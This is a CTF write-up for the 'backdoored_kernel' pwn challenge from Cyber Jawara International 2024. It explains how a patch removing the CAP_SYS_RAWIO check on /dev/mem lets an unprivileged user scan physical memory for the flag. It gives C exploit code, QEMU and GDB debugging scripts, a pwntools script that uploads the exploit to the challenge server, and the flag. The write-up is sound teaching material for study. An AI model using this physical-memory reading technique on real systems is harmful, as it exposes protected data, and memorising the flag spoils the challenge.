Try   HackMD

Cyber Jawara International 2024 Pwn Write Up: Backdoored Kernel

I have been participating in Cyber Jawara International 2024, an international CTF organized by SKSD as team "swusjask fans club", and we managed to achieve rank 2 out of 211 teams. I only solved 1 out of 4 pwn challenge because of skill issues, but anyway let's dive into it.

🩸 [PWN – 2 solves] backdoored_kernel

{70BE8EA8-47A9-42BD-BD2D-54F25263B20C}

Analysis

Attachment:

{04E7AFA9-4D18-4D82-952F-ADF34B2672DC}

As we can see from the structure, it seems to be a kernel exploitation challenge. Here is a brief explanation (and the content) of each files:

  • bzImage: Compiled Linux version 6.11.5 x86 kernel image
    {953BD23E-00D2-4E2F-8A57-0D799A23D49A}
  • run.sh: Script to run the emulated vulnerable environment using QEMU.
    ​​​​#!/bin/bash ​​​​cd $(dirname $0) ​​​​exec timeout --foreground 300 qemu-system-x86_64 \ ​​​​ -m 64M \ ​​​​ -cpu kvm64,+smep,+smap \ ​​​​ -nographic \ ​​​​ -monitor /dev/null \ ​​​​ -kernel bzImage \ ​​​​ -initrd rootfs.cpio.gz \ ​​​​ -no-reboot \ ​​​​ -append "console=ttyS0 quiet kaslr panic=1 kpti=1 oops=panic" \ ​​​​ -net user -net nic -device e1000 \
  • rootfs.cpio.gz: Compressed file system that will be booted into the QEMU environment.
  • backdoor.patch: Diff output file containing the difference between the compiled kernel and the original Linux kernel source code. This file tells us where the vulnerability is, where users can access /dev/mem without CAP_SYS_RAWIO capability.
    ​​​​--- a/linux-6.11.5/drivers/char/mem.c
    ​​​​+++ b/linux-6.11.5/drivers/char/mem.c
    ​​​​@@ -606,9 +606,6 @@
    ​​​​ {
    ​​​​    int rc;
    
    ​​​​-	if (!capable(CAP_SYS_RAWIO))
    ​​​​-		return -EPERM;
    ​​​​-
    ​​​​    rc = security_locked_down(LOCKDOWN_DEV_MEM);
    ​​​​    if (rc)
    ​​​​        return rc;
    
    

    πŸ’‘ As seen in the patch above, users don't need to have CAP_SYS_RAWIO capability to access /dev/mem. See the source code for more details.

  • Kconfig: Configuration of the compiled kernel image. Specifically, below is the relevant configuration to this challenge.
    {193233B0-6087-4721-94D7-1AE0D336EFDB}

    πŸ’‘ With CONFIG_STRICT_DEVMEM=n, userspace can access every bits and bytes of the memory using /dev/mem (including kernelspace and userspace). See this and the man page for more details.

Let’s inspect the content of the filesystem by decompressing rootfs.cpio.gz with this script:

mkdir rootfs cd rootfs cp ../rootfs.cpio.gz . gunzip ./rootfs.cpio.gz cpio -idm < ./rootfs.cpio rm rootfs.cpio

We then see init script, that will be executed as an entrypoint when the kernel is booted successfully. Below is the content:

#!/bin/sh [ -d /dev ] || mkdir -m 0755 /dev [ -d /sys ] || mkdir /sys [ -d /proc ] || mkdir /proc [ -d /tmp ] || mkdir /tmp [ -d /etc ] || mkdir /etc mount -t proc -o nodev,noexec,nosuid proc /proc mount -t sysfs -o nodev,noexec,nosuid sysfs /sys mount -t devtmpfs -o nosuid,mode=0755 udev /dev mount -t tmpfs tmpfs /tmp mkdir -p /dev/pts mkdir -p /var/lock mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true ln -sf /proc/mounts /etc/mtab echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/perf_event_paranoid echo 1 > /proc/sys/vm/unprivileged_userfaultfd mdev -s chown 0:1000 /dev/console chown 0:1000 /dev/ptmx chown 0:1000 /dev/tty chown 0:1000 /dev/mem chmod 400 flag setsid /bin/cttyhack setuidgid 1000 /bin/sh poweroff -d 0 -f

As seen above, the flag is only readable by root user. And our goal is to read the flag as an unprivileged user.

What is /dev/mem ? πŸ€”

According to this article, /dev/mem is a character device file that is an image of the main memory of the computer. Basically it allows us to have direct access to physical address. To interact with it, we can do mmap first to map the physical address, then followed by read or write to read or write, respectively into the physical address.

Exploitation

Note that we have found a few keypoints before:

  1. Users don't need to have CAP_SYS_RAWIO capability to access /dev/mem.
  2. Userspace can access every bits and bytes of the memory using /dev/mem.

So basically we have full access to the physical memory as an unprivileged user. My hypothesis is that the file system will also be contained in the physical memory. To validate my hypothesis, we need to do some debugging.

Debugging

First, we need to make a binary to interact with /dev/mem and loops infinitely to help us achieve a breakpoint in GDB where we can see the content of the mapped physical address.

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/mman.h> #include <unistd.h> #include <string.h> #define MEMORY_START 0x10000000 #define MEMORY_SIZE 0x10000000 int main() { int fd = open("/dev/mem", O_RDONLY); if (fd == -1) { perror("[-] open"); close(fd); return -1; } void *mem = mmap((void *)MEMORY_START, MEMORY_SIZE, PROT_READ, MAP_SHARED, fd, 0); if (mem == MAP_FAILED) { perror("[-] mmap"); close(fd); return -1; } // infinite loop while(1) {} munmap(mem, MEMORY_SIZE); close(fd); return 0; }

We then make these scripts to debug our kernel:

  • dbuild.sh:

    ​​​​musl-gcc -static -o exploit exploit.c ​​​​mv exploit ./rootfs/ ​​​​cd rootfs ​​​​find . -print0 \ ​​​​| cpio --null -ov --format=newc \ ​​​​| gzip -9 > debugfs.cpio.gz ​​​​mv ./debugfs.cpio.gz ../ ​​​​cd .. ​​​​pkill -9 qemu-system-x86 ​​​​exec ./debug.sh
  • debug.sh:

    ​​​​#!/bin/bash ​​​​cd $(dirname $0) ​​​​exec timeout --foreground 300 qemu-system-x86_64 \ ​​​​ -m 64M \ ​​​​ -cpu kvm64,+smep,+smap \ ​​​​ -nographic \ ​​​​ -monitor /dev/null \ ​​​​ -kernel bzImage \ ​​​​ -initrd debugfs.cpio.gz \ ​​​​ -no-reboot \ ​​​​ -append "console=ttyS0 quiet kaslr panic=1 kpti=1 oops=panic" \ ​​​​ -net user -net nic -device e1000 \ ​​​​ -s -S
  • gdb.sh:

    ​​​​tar rem :1234 ​​​​c

Don't forget to extract the vmlinux using this script to get the kernel's actual ELF file.

Then we open two terminals. In the first terminal execute dbuild.sh and in the other terminal, execute gdb vmlinux -x gdb.sh to debug our kernel. We then execute our binary to trigger the physical address mapping, and breaking in our GDB. We then search the memory for the content of files in the file system by using GEF's search-pattern.

{72A5A574-0685-4B2D-893E-59B09D2C25AB}
And, voila! File system's content is available in the physical memory. Also notice that the beginning of each file is mapped at the beginning of a page (ending with 0x000), so we can just read through every page, and check if it contains CJ{.

Exploit Code

Below is the exploit code to read every pages:

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/mman.h> #include <unistd.h> #include <string.h> #define MEMORY_START 0x10000000 #define MEMORY_SIZE 0x10000000 int main() { int fd = open("/dev/mem", O_RDONLY); if (fd == -1) { perror("[-] open"); close(fd); return -1; } void *mem = mmap((void *)MEMORY_START, MEMORY_SIZE, PROT_READ, MAP_SHARED, fd, 0); if (mem == MAP_FAILED) { perror("[-] mmap"); close(fd); return -1; } for (int i = 0; i < MEMORY_SIZE; i += 0x1000) { if (strstr(mem + i, "CJ{") != NULL) { printf("[+] Found flag at %p: %s\n", mem + i, mem + i); break; } } munmap(mem, MEMORY_SIZE); close(fd); return 0; }

Send the exploit to the remote instance using this python script:

from pwn import * io = remote("152.42.183.87", 10022) log.info("Compiling...") os.system("musl-gcc exploit.c -static -o exploit") log.info("Compressing...") os.system("gzip -c exploit > exploit.gz") log.info("Base64-ing...") os.system("base64 exploit.gz > b64egz") io.recvuntil(b"work: ") pow_cmd = io.recvline().strip().decode() log.info(f"PoW: {pow_cmd}") log.info("Solving PoW...") sol = subprocess.check_output(pow_cmd, shell=True).strip() io.sendline(sol) log.info("Changing directory...") io.sendlineafter(b"$ ", f"cd /tmp".encode()) log.info("Sending exploit...") f = open("b64egz", "r") lines = f.read().splitlines() with log.progress("Lines sent") as prog: for i, line in enumerate(lines): prog.status(f"{i}/{len(lines)}") io.sendlineafter(b"$ ", f"echo '{line}' >> b64egz".encode()) prog.success(f"{len(lines)}/{len(lines)}") io.sendlineafter(b"$ ", b"base64 -d b64egz > exploit.gz") io.sendlineafter(b"$ ", b"gzip -d exploit.gz") io.sendlineafter(b"$ ", b"chmod +x exploit") io.newline = b"\r\n" # A wacky fix to pwntools CRLF issue io.sendlineafter(b"$ ", b"./exploit") os.unlink("b64egz") os.unlink("exploit") os.unlink("exploit.gz") io.interactive()

And we got the flag.

{67A1E67F-7C46-44EF-A5A8-20150C3196EC}

Flag

CJ{8572170a6ebad8e9d9602f7025dbf8cd8f6852c919cad763194c387e2ca2026d}